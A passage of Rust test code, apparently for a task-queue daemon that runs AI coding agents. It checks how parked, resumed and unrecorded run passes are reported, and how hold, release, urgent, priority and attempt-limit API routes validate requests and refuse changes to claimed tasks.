16852            Source::Human,
16853        );
16854        let v = task_run_view(
16855            "20260902-140501-aaaa",
16856            Some(&s),
16857            RunSlot {
16858                n: 1,
16859                resumed: false,
16860                resumed_later: None,
16861                prior: None,
16862                last: true,
16863                ..RunSlot::default()
16864            },
16865            &task,
16866        );
16867        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16868    }
16869
16870    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16871        let mut s = flow_run(RunStatus::Implementing, edit);
16872        s.parked = false;
16873        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16874        task_run_view(
16875            "20260902-140501-aaaa",
16876            Some(&s),
16877            RunSlot {
16878                n: 1,
16879                resumed: false,
16880                resumed_later: Some(2),
16881                prior: None,
16882                last: false,
16883                ..RunSlot::default()
16884            },
16885            &task,
16886        )
16887    }
16888
16889    #[test]
16890    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16891        let v = earlier_pass_view(|_| {});
16892        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16893        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16894        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16895        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16896        assert_eq!(v.exit, RunExit::Interrupted);
16897        assert_eq!(v.attempt, AttemptCost::Unknown);
16898    }
16899
16900    #[test]
16901    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16902        let v = earlier_pass_view(|s| {
16903            s.quota.push(crate::run::QuotaLoss {
16904                cause: crate::agent::QuotaCause::UsageLimit,
16905                agent: String::new(),
16906                seat: "judge-1".to_owned(),
16907                node: "judge".to_owned(),
16908                at: Timestamp::now(),
16909                reset: None,
16910            });
16911        });
16912        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16913        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16914        assert_eq!(v.attempt, AttemptCost::Unknown);
16915    }
16916
16917    #[test]
16918    fn the_current_pass_states_its_recorded_cause_and_cost() {
16919        let slot = || RunSlot {
16920            n: 1,
16921            resumed: false,
16922            resumed_later: None,
16923            prior: None,
16924            last: true,
16925            ..RunSlot::default()
16926        };
16927        let task = flow_task(&["20260902-140501-aaaa"]);
16928        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16929        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16930        assert_eq!(
16931            (v.exit, v.attempt),
16932            (RunExit::Parked, AttemptCost::Refunded)
16933        );
16934        let spent = flow_run(RunStatus::Blocked, |_| {});
16935        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16936        assert_eq!(v.attempt, AttemptCost::Spent);
16937        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16938    }
16939
16940    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16941        crate::run::RunPass {
16942            index,
16943            started_at: Timestamp::now(),
16944            resumed: index > 0,
16945            ended_at: end.as_ref().map(|_| Timestamp::now()),
16946            end,
16947            task_entry: true,
16948        }
16949    }
16950
16951    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16952        Some(crate::run::PassEnd::Parked { cause })
16953    }
16954
16955    fn upgrade_cause() -> crate::run::ParkCause {
16956        crate::run::ParkCause::Upgrade {
16957            from: "0.121.0".to_owned(),
16958            to: Some("0.121.1".to_owned()),
16959        }
16960    }
16961
16962    fn settled_pass(
16963        run: &str,
16964        index: usize,
16965        cost: crate::queue::PassCost,
16966    ) -> crate::queue::TaskPass {
16967        crate::queue::TaskPass {
16968            run: run.to_owned(),
16969            pass_index: index,
16970            started_at: None,
16971            cost,
16972            attempts_after: 1,
16973            settled_at: Timestamp::now(),
16974            parked: None,
16975        }
16976    }
16977
16978    const RUN_X: &str = "20261011-223708-4334";
16979
16980    #[test]
16981    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16982        use crate::queue::PassCost;
16983        let run = flow_run(RunStatus::Implementing, |s| {
16984            s.passes = vec![
16985                recorded_pass(0, parked(upgrade_cause())),
16986                recorded_pass(1, None),
16987            ];
16988        });
16989        let mut task = flow_task(&[RUN_X, RUN_X]);
16990        task.attempts = 1;
16991        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16992        let h = task_history(&task, |_| Some(run.clone()));
16993        assert_eq!(h.len(), 2);
16994        assert_eq!(h[0].kind, "competition");
16995        assert_eq!(h[1].kind, "resume");
16996        assert_eq!(
16997            (h[0].exit, h[0].attempt),
16998            (RunExit::Parked, AttemptCost::Refunded)
16999        );
17000        assert!(
17001            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17002            "{}",
17003            h[0].outcome
17004        );
17005        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17006        assert!(
17007            h[0].outcome.contains("pass #2 resumed the same run"),
17008            "{}",
17009            h[0].outcome
17010        );
17011        assert!(
17012            h[0].outcome.contains("pass 1 of 2 over run"),
17013            "{}",
17014            h[0].outcome
17015        );
17016        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17017        assert_eq!(
17018            h[0].exit_label,
17019            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17020        );
17021        let f = task_flow(&task, &h, 2, None);
17022        // Two passes of one run, one of two attempts consumed.
17023        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17024        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17025        assert!(
17026            f.edges[1].label.contains("upgrade 0.121.0"),
17027            "{}",
17028            f.edges[1].label
17029        );
17030        assert!(
17031            f.edges[1].label.contains("resume the same run"),
17032            "{}",
17033            f.edges[1].label
17034        );
17035        assert_eq!(f.nodes[1].note, Some("parked"));
17036    }
17037
17038    #[test]
17039    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17040        let mut a = flow_run(RunStatus::Implementing, |s| {
17041            s.passes = vec![
17042                recorded_pass(0, parked(upgrade_cause())),
17043                recorded_pass(1, None),
17044            ];
17045        });
17046        let mut b = flow_run(RunStatus::Failed, |s| {
17047            s.passes = vec![recorded_pass(0, None)];
17048        });
17049        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17050        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17051        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17052        let mut task = flow_task(&[]);
17053        task.start("a".into());
17054        task.start("b".into());
17055        task.start("a".into());
17056        assert_eq!(task.runs, ["b", "a"]);
17057        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17058        let h = task_history(&task, |id| {
17059            Some(if id == "a" { a.clone() } else { b.clone() })
17060        });
17061        assert_eq!(
17062            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17063            ["a", "b", "a"]
17064        );
17065        assert_eq!(h[0].attempt, AttemptCost::Refunded);
17066        assert!(h[0].outcome.contains("upgrade"));
17067        assert_eq!(h[2].kind, "resume");
17068        assert!(h[2].pass.is_some());
17069        // The old repeated-id format must show the same recorded passes.
17070        task.runs = vec!["a".into(), "b".into(), "a".into()];
17071        let old = task_history(&task, |id| {
17072            Some(if id == "a" { a.clone() } else { b.clone() })
17073        });
17074        assert_eq!(
17075            old.iter()
17076                .map(|v| (&v.id, &v.kind, v.attempt))
17077                .collect::<Vec<_>>(),
17078            h.iter()
17079                .map(|v| (&v.id, &v.kind, v.attempt))
17080                .collect::<Vec<_>>()
17081        );
17082    }
17083
17084    #[test]
17085    fn an_upgrade_whose_target_was_not_known_says_so() {
17086        let run = flow_run(RunStatus::Implementing, |s| {
17087            s.passes = vec![
17088                recorded_pass(
17089                    0,
17090                    parked(crate::run::ParkCause::Upgrade {
17091                        from: "0.121.0".to_owned(),
17092                        to: None,
17093                    }),
17094                ),
17095                recorded_pass(1, None),
17096            ];
17097        });
17098        let task = flow_task(&[RUN_X, RUN_X]);
17099        let h = task_history(&task, |_| Some(run.clone()));
17100        assert!(
17101            h[0].outcome.contains("upgrade from 0.121.0"),
17102            "{}",
17103            h[0].outcome
17104        );
17105        // No settle record: the refund is not claimed.
17106        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17107    }
17108
17109    #[test]
17110    fn each_pass_keeps_its_own_cause_across_several_resumes() {
17111        use crate::queue::PassCost;
17112        use crate::run::ParkCause;
17113        let run = flow_run(RunStatus::Implementing, |s| {
17114            s.passes = vec![
17115                recorded_pass(0, parked(upgrade_cause())),
17116                recorded_pass(
17117                    1,
17118                    parked(ParkCause::Interrupt {
17119                        reason: "task a1b2 asked to run first".to_owned(),
17120                    }),
17121                ),
17122                recorded_pass(2, parked(ParkCause::Operator)),
17123                recorded_pass(3, None),
17124            ];
17125        });
17126        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17127        task.attempts = 1;
17128        task.passes = (0..3)
17129            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17130            .collect();
17131        let h = task_history(&task, |_| Some(run.clone()));
17132        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17133        assert!(
17134            h[1].outcome.contains("task a1b2 asked to run first"),
17135            "{}",
17136            h[1].outcome
17137        );
17138        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17139        assert!(
17140            h[2].outcome.contains("operator asked the loop to park"),
17141            "{}",
17142            h[2].outcome
17143        );
17144        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17145        let f = task_flow(&task, &h, 2, None);
17146        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17147    }
17148
17149    #[test]
17150    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17151        let run = flow_run(RunStatus::Implementing, |s| {
17152            s.passes = vec![
17153                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17154                recorded_pass(1, None),
17155            ];
17156        });
17157        let task = flow_task(&[RUN_X, RUN_X]);
17158        let h = task_history(&task, |_| Some(run.clone()));
17159        assert_eq!(h[0].exit, RunExit::Interrupted);
17160        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17161        assert!(
17162            h[0].outcome.contains("without recording why"),
17163            "{}",
17164            h[0].outcome
17165        );
17166        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17167        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17168    }
17169
17170    #[test]
17171    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17172        use crate::queue::PassCost;
17173        // Three entries, but the run only began keeping passes at the last
17174        // two: the first is legacy and must not be given a cause.
17175        let run = flow_run(RunStatus::Implementing, |s| {
17176            s.passes = vec![
17177                recorded_pass(0, parked(upgrade_cause())),
17178                recorded_pass(1, None),
17179            ];
17180        });
17181        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17182        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17183        let h = task_history(&task, |_| Some(run.clone()));
17184        assert!(h[0].pass.is_none());
17185        assert_eq!(h[0].exit, RunExit::Interrupted);
17186        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17187        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17188        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17189        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17190        // A run with no passes at all is entirely unknown.
17191        let legacy = flow_run(RunStatus::Implementing, |_| {});
17192        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17193        assert!(h.iter().all(|v| v.pass.is_none()));
17194        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17195    }
17196
17197    #[test]
17198    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17199        use crate::queue::PassCost;
17200        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17201        // task. The two entries are passes 0 and 2.
17202        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17203        web.task_entry = false;
17204        let run = flow_run(RunStatus::Implementing, |s| {
17205            s.passes = vec![
17206                recorded_pass(0, parked(upgrade_cause())),
17207                web.clone(),
17208                recorded_pass(2, None),
17209            ];
17210        });
17211        let mut task = flow_task(&[RUN_X, RUN_X]);
17212        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17213        let h = task_history(&task, |_| Some(run.clone()));
17214        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17215        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17216
17217        // Legacy first entry, then a web resume that parked for an upgrade,
17218        // then the daemon's pass: the legacy entry must stay unknown.
17219        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17220        web0.task_entry = false;
17221        let run = flow_run(RunStatus::Implementing, |s| {
17222            s.passes = vec![web0.clone(), recorded_pass(1, None)];
17223        });
17224        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17225        assert!(h[0].pass.is_none());
17226        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17227        assert!(h[1].pass.is_some());
17228    }
17229
17230    #[tokio::test]
17231    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17232        let dir = tempfile::tempdir().unwrap();
17233        let queue = Queue::at(dir.path().join("queue"));
17234        let ui = Arc::new(Ui::new(
17235            queue.clone(),
17236            Questions::at(dir.path().join("questions")),
17237            Talks::at(dir.path().join("talks")),
17238            dir.path().join("runs"),
17239            dir.path().to_path_buf(),
17240            dir.path().to_path_buf(),
17241        ));
17242        let mut t = Task::new(
17243            "recover".into(),
17244            "Inspect".into(),
17245            PathBuf::from("."),
17246            Source::Human,
17247        );
17248        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17249        t.start("run-A".into());
17250        t.release_operator("choice", Some("resume-question"));
17251        t.resume_override = Some(crate::queue::OperatorResume {
17252            question_id: "resume-question".into(),
17253            at: jiff::Timestamp::now(),
17254            conductor_rehold: None,
17255            forced: true,
17256            pinned_run: Some("run-A".into()),
17257        });
17258        t.hold_machine(Some("inspection pending".into()));
17259        t.edit("recover".into(), "Reuse approved PR head".into())
17260            .unwrap();
17261        queue.put(&mut t).unwrap();
17262        let mut cli = t.clone();
17263        cli.release_operator("cli", None);
17264        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17265        let reloaded = queue.get(&t.id).unwrap();
17266        assert_eq!(reply.task.status, TaskStatus::Queued);
17267        assert!(reloaded.resume_override.is_none());
17268        assert_eq!(reloaded.answers, t.answers);
17269        let mut web = reloaded.resumption.unwrap();
17270        let cli = cli.resumption.unwrap();
17271        assert_eq!(web.source, "web");
17272        web.source = cli.source.clone();
17273        web.at = cli.at;
17274        assert_eq!(web, cli);
17275    }
17276
17277    #[tokio::test]
17278    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17279        let f = Fixture::start().await;
17280        let queue = f.queue();
17281        let mut task = Task::new(
17282            "spent".to_owned(),
17283            "Try again".to_owned(),
17284            PathBuf::from("/repo/magi"),
17285            Source::Human,
17286        );
17287        task.start("20260902-140502-bbbb".to_owned());
17288        task.fail("agent gave up", 9);
17289        queue.put(&mut task).expect("file the task");
17290
17291        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17292        assert_eq!(held.status, 200);
17293        assert_eq!(held.json()["status_str"], "held");
17294
17295        let released = f
17296            .post(&format!("/api/queue/{}/release", task.id), None)
17297            .await;
17298        assert_eq!(released.status, 200);
17299        assert_eq!(released.json()["status_str"], "queued");
17300        assert_eq!(released.json()["resumption"]["source"], "web");
17301        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17302        let mut cli = task.clone();
17303        cli.release_operator("cli", None);
17304        let web = queue.get(&task.id).unwrap().resumption.unwrap();
17305        let cli = cli.resumption.unwrap();
17306        assert_eq!(web.instruction, cli.instruction);
17307        assert_eq!(web.answers_through, cli.answers_through);
17308        assert_eq!(web.runs_through, cli.runs_through);
17309        assert_eq!(web.cleared_reason, cli.cleared_reason);
17310        assert_eq!(
17311            released.json()["attempts"],
17312            0,
17313            "release is a real second chance, not an instant re-hold"
17314        );
17315        assert_eq!(
17316            queue.get(&task.id).expect("reload").status,
17317            TaskStatus::Queued,
17318            "the change is on disk, not only in the reply"
17319        );
17320        assert!(
17321            !f.home
17322                .path()
17323                .join("queue")
17324                .join(format!("{}.lock", task.id))
17325                .exists(),
17326            "the claim the mutation took is released again"
17327        );
17328    }
17329
17330    #[tokio::test]
17331    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17332        let f = Fixture::start().await;
17333        let queue = f.queue();
17334        let mut task = Task::new(
17335            "busy".to_owned(),
17336            "Running right now".to_owned(),
17337            PathBuf::from("/repo/magi"),
17338            Source::Human,
17339        );
17340        queue.put(&mut task).expect("file the task");
17341        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17342
17343        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17344
17345        assert_eq!(res.status, 409);
17346        assert_eq!(
17347            queue.get(&task.id).expect("reload").status,
17348            TaskStatus::Queued,
17349            "the refused hold changed nothing"
17350        );
17351    }
17352
17353    #[tokio::test]
17354    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17355        let f = Fixture::start().await;
17356        let queue = f.queue();
17357        let mut task = Task::new(
17358            "waiting on the migration".to_owned(),
17359            "Do the thing".to_owned(),
17360            PathBuf::from("/repo/magi"),
17361            Source::Human,
17362        );
17363        queue.put(&mut task).expect("file the task");
17364
17365        let held = f
17366            .post(
17367                &format!("/api/queue/{}/hold", task.id),
17368                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17369            )
17370            .await;
17371        assert_eq!(held.status, 200, "{}", held.body);
17372        assert_eq!(held.json()["status_str"], "held");
17373        assert_eq!(
17374            held.json()["hold_reason"],
17375            "waiting for 20260101-000000-aaaa to land"
17376        );
17377
17378        let listed = f.get("/api/queue").await.json();
17379        assert_eq!(
17380            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17381            "the card reads the reason off the same list route"
17382        );
17383
17384        // A hold with no body at all must keep working - most holds have no
17385        // reason to give.
17386        let mut plain = Task::new(
17387            "no reason given".to_owned(),
17388            "Do another thing".to_owned(),
17389            PathBuf::from("/repo/magi"),
17390            Source::Human,
17391        );
17392        queue.put(&mut plain).expect("file the task");
17393        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17394        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17395        assert!(held_plain.json()["hold_reason"].is_null());
17396
17397        let released = f
17398            .post(&format!("/api/queue/{}/release", task.id), None)
17399            .await;
17400        assert_eq!(released.status, 200);
17401        assert!(
17402            released.json()["hold_reason"].is_null(),
17403            "a release must clear the reason so the next hold does not inherit it"
17404        );
17405    }
17406
17407    #[test]
17408    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17409        for urgent in [true, false] {
17410            let body: UrgentBody =
17411                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17412            assert_eq!(body.urgent, urgent);
17413        }
17414        for input in [
17415            r#"{}"#,
17416            r#"{"urgent":null}"#,
17417            r#"{"urgent":"true"}"#,
17418            r#"{"urgent":1}"#,
17419            r#"{"urgent":true,"extra":false}"#,
17420        ] {
17421            assert!(
17422                serde_json::from_str::<UrgentBody>(input).is_err(),
17423                "{input}"
17424            );
17425        }
17426    }
17427
17428    #[tokio::test]
17429    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17430        let home = TempDir::new().unwrap();
17431        let q = Queue::at(home.path().join("queue"));
17432        let ui = Arc::new(Ui::new(
17433            q.clone(),
17434            Questions::at(home.path().join("questions")),
17435            Talks::at(home.path().join("talks")),
17436            home.path().join("runs"),
17437            home.path().into(),
17438            home.path().into(),
17439        ));
17440        let mut task = Task::new(
17441            "urgent handler".into(),
17442            "keep".into(),
17443            home.path().into(),
17444            Source::Human,
17445        );
17446        for status in [TaskStatus::Queued, TaskStatus::Held] {
17447            task.status = status;
17448            q.put(&mut task).unwrap();
17449            for urgent in [true, true, false, false] {
17450                let saved = queue_urgent(
17451                    State(Arc::clone(&ui)),
17452                    Path(task.short().into()),
17453                    Ok(Json(UrgentBody { urgent })),
17454                )
17455                .await
17456                .unwrap();
17457                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17458                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17459            }
17460        }
17461        task.status = TaskStatus::Queued;
17462        q.put(&mut task).unwrap();
17463        let claim = q.claim(&task.id).unwrap();
17464        let error = queue_urgent(
17465            State(Arc::clone(&ui)),
17466            Path(task.id.clone()),
17467            Ok(Json(UrgentBody { urgent: true })),
17468        )
17469        .await
17470        .unwrap_err();
17471        assert_eq!(error.status, StatusCode::CONFLICT);
17472        assert!(error.message.contains("released"));
17473        drop(claim);
17474        for status in [
17475            TaskStatus::Running,
17476            TaskStatus::Done,
17477            TaskStatus::Failed,
17478            TaskStatus::Blocked,
17479            TaskStatus::Parked,
17480        ] {
17481            task.status = status;
17482            q.put(&mut task).unwrap();
17483            let error = queue_urgent(
17484                State(Arc::clone(&ui)),
17485                Path(task.id.clone()),
17486                Ok(Json(UrgentBody { urgent: false })),
17487            )
17488            .await
17489            .unwrap_err();
17490            assert_eq!(error.status, StatusCode::BAD_REQUEST);
17491            assert!(error.message.contains(status.as_str()));
17492        }
17493    }
17494
17495    #[tokio::test]
17496    async fn urgent_api_updates_preserves_and_validates_tasks() {
17497        let f = Fixture::start().await;
17498        let q = f.queue();
17499        let mut t = Task::new(
17500            "urgent API".into(),
17501            "unchanged".into(),
17502            PathBuf::from("/repo/magi"),
17503            Source::Human,
17504        );
17505        t.attempts = 2;
17506        t.priority = 9;
17507        t.interrupt = true;
17508        t.hold_reason = Some("waiting for approval".into());
17509        for status in [TaskStatus::Queued, TaskStatus::Held] {
17510            t.status = status;
17511            q.put(&mut t).unwrap();
17512            for urgent in [true, true, false, false] {
17513                let response = f
17514                    .post(
17515                        &format!("/api/queue/{}/urgent", t.short()),
17516                        Some(&format!("{{\"urgent\":{urgent}}}")),
17517                    )
17518                    .await;
17519                assert_eq!(response.status, 200, "{}", response.body);
17520                assert_eq!(response.json()["urgent"], urgent);
17521                let saved = q.get(&t.id).unwrap();
17522                let mut before = serde_json::to_value(&t).unwrap();
17523                let mut after = serde_json::to_value(saved).unwrap();
17524                before["urgent"] = urgent.into();
17525                before.as_object_mut().unwrap().remove("updated_at");
17526                after.as_object_mut().unwrap().remove("updated_at");
17527                assert_eq!(after, before);
17528            }
17529        }
17530        let route = format!("/api/queue/{}/urgent", t.id);
17531        for body in [
17532            r#"{}"#,
17533            r#"{"urgent":null}"#,
17534            r#"{"urgent":"true"}"#,
17535            r#"{"urgent":1}"#,
17536            r#"{"urgent":true,"extra":false}"#,
17537            "{",
17538        ] {
17539            assert_eq!(f.post(&route, Some(body)).await.status, 400);
17540        }
17541        t.status = TaskStatus::Queued;
17542        q.put(&mut t).unwrap();
17543        let claim = q.claim(&t.id).unwrap();
17544        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17545        assert_eq!(response.status, 409, "{}", response.body);
17546        assert!(!q.get(&t.id).unwrap().urgent);
17547        drop(claim);
17548        for status in [
17549            TaskStatus::Running,
17550            TaskStatus::Done,
17551            TaskStatus::Failed,
17552            TaskStatus::Blocked,
17553            TaskStatus::Parked,
17554        ] {
17555            t.status = status;
17556            q.put(&mut t).unwrap();
17557            for urgent in [true, false] {
17558                let response = f
17559                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17560                    .await;
17561                assert_eq!(response.status, 400, "{}", response.body);
17562                assert!(response.body.contains(status.as_str()));
17563                assert!(response.body.contains("queued or held"));
17564                assert!(!q.get(&t.id).unwrap().urgent);
17565            }
17566        }
17567        assert_eq!(
17568            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17569                .await
17570                .status,
17571            404
17572        );
17573    }
17574
17575    #[tokio::test]
17576    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17577        let f = Fixture::start().await;
17578        let queue = f.queue();
17579        let mut older = Task::new(
17580            "filed first".to_owned(),
17581            "x".to_owned(),
17582            PathBuf::from("/repo/magi"),
17583            Source::Human,
17584        );
17585        older.id = "20260101-000001-aaaa".to_owned();
17586        let mut newer = Task::new(
17587            "filed second".to_owned(),
17588            "x".to_owned(),
17589            PathBuf::from("/repo/magi"),
17590            Source::Human,
17591        );
17592        newer.id = "20260101-000002-bbbb".to_owned();
17593        queue.put(&mut older).expect("file older");
17594        queue.put(&mut newer).expect("file newer");
17595
17596        // Equal priority: the newer task leads, the same order the old
17597        // newest-first `list()` already gave every equal-priority queue.
17598        let before = f.get("/api/queue").await.json();
17599        assert_eq!(before[0]["id"], newer.id);
17600        assert_eq!(before[1]["id"], older.id);
17601
17602        // Raising the *older* task is the meaningful case: it can only lead
17603        // now because its priority says so, not because it happens to be
17604        // newest.
17605        let raised = f
17606            .post(
17607                &format!("/api/queue/{}/priority", older.id),
17608                Some(r#"{"priority":10}"#),
17609            )
17610            .await;
17611        assert_eq!(raised.status, 200, "{}", raised.body);
17612        assert_eq!(raised.json()["priority"], 10);
17613
17614        let after = f.get("/api/queue").await.json();
17615        let names: Vec<&str> = after
17616            .as_array()
17617            .unwrap()
17618            .iter()
17619            .map(|t| t["id"].as_str().unwrap())
17620            .collect();
17621        // Highest priority first, which is the order next_runnable and
17622        // `magi task list` both use - GET /api/queue must agree with it
17623        // immediately, not just once the loop claims the task.
17624        assert_eq!(names[0], older.id, "the raised task now sorts first");
17625    }
17626
17627    #[tokio::test]
17628    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17629        let dir = TempDir::new().unwrap();
17630        let q = Queue::at(dir.path().join("queue"));
17631        let ui = Arc::new(Ui::new(
17632            q.clone(),
17633            Questions::at(dir.path().join("questions")),
17634            Talks::at(dir.path().join("talks")),
17635            dir.path().join("runs"),
17636            dir.path().to_path_buf(),
17637            dir.path().to_path_buf(),
17638        ));
17639        let mut t = Task::new(
17640            "budget".into(),
17641            "keep".into(),
17642            dir.path().into(),
17643            Source::Human,
17644        );
17645        t.attempts = 2;
17646        t.runs.push("prior-run".into());
17647        t.hold_manual(Some("waiting".into()));
17648        q.put(&mut t).unwrap();
17649        let change = |value| {
17650            queue_attempt_limit(
17651                State(ui.clone()),
17652                Path(t.id.clone()),
17653                Ok(Json(AttemptLimitBody {
17654                    attempt_limit: value,
17655                })),
17656            )
17657        };
17658        for value in [
17659            serde_json::json!(3),
17660            serde_json::Value::Null,
17661            serde_json::json!(1),
17662        ] {
17663            let response = change(value.clone()).await.unwrap();
17664            assert_eq!(
17665                serde_json::to_value(response.0).unwrap()["attempt_limit"],
17666                value
17667            );
17668            let saved = q.get(&t.id).unwrap();
17669            assert_eq!(
17670                serde_json::to_value(&saved).unwrap()["attempt_limit"],
17671                value
17672            );
17673            assert_eq!(saved.status, TaskStatus::Held);
17674            assert_eq!(saved.attempts, t.attempts);
17675            assert_eq!(saved.runs, t.runs);
17676            assert_eq!(saved.hold_reason, t.hold_reason);
17677            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17678                .await
17679                .unwrap()
17680                .0;
17681            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17682            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17683            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17684            assert_eq!(outcome.max_attempts, detail.max_attempts);
17685        }
17686        for value in [
17687            serde_json::json!(0),
17688            serde_json::json!(-1),
17689            serde_json::json!(1.5),
17690            serde_json::json!("3"),
17691            serde_json::json!(true),
17692        ] {
17693            assert_eq!(
17694                change(value).await.err().unwrap().status,
17695                StatusCode::BAD_REQUEST
17696            );
17697        }
17698        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17699        let claim = q.claim(&t.id).unwrap();
17700        assert_eq!(
17701            change(serde_json::json!(4)).await.err().unwrap().status,
17702            StatusCode::CONFLICT
17703        );
17704        drop(claim);
17705        for status in [
17706            TaskStatus::Running,
17707            TaskStatus::Done,
17708            TaskStatus::Failed,
17709            TaskStatus::Blocked,
17710            TaskStatus::Parked,
17711        ] {
17712            let mut stored = q.get(&t.id).unwrap();
17713            stored.status = status;
17714            q.put(&mut stored).unwrap();
17715            assert_eq!(
17716                change(serde_json::json!(4)).await.err().unwrap().status,
17717                StatusCode::BAD_REQUEST
17718            );
17719            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17720        }
17721        let mut stored = q.get(&t.id).unwrap();
17722        stored.status = TaskStatus::Queued;
17723        q.put(&mut stored).unwrap();
17724        let _ = change(serde_json::Value::Null).await.unwrap();
17725        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17726    }
17727
17728    #[tokio::test]
17729    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17730        let dir = TempDir::new().unwrap();
17731        let repo = dir.path().join("repo");
17732        std::fs::create_dir(&repo).unwrap();
17733        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17734        let q = Queue::at(dir.path().join("queue"));
17735        let ui = Arc::new(Ui::new(
17736            q.clone(),
17737            Questions::at(dir.path().join("questions")),
17738            Talks::at(dir.path().join("talks")),
17739            dir.path().join("runs"),
17740            dir.path().to_path_buf(),
17741            repo.clone(),
17742        ));
17743        let mut t = Task::new(
17744            "seats".into(),
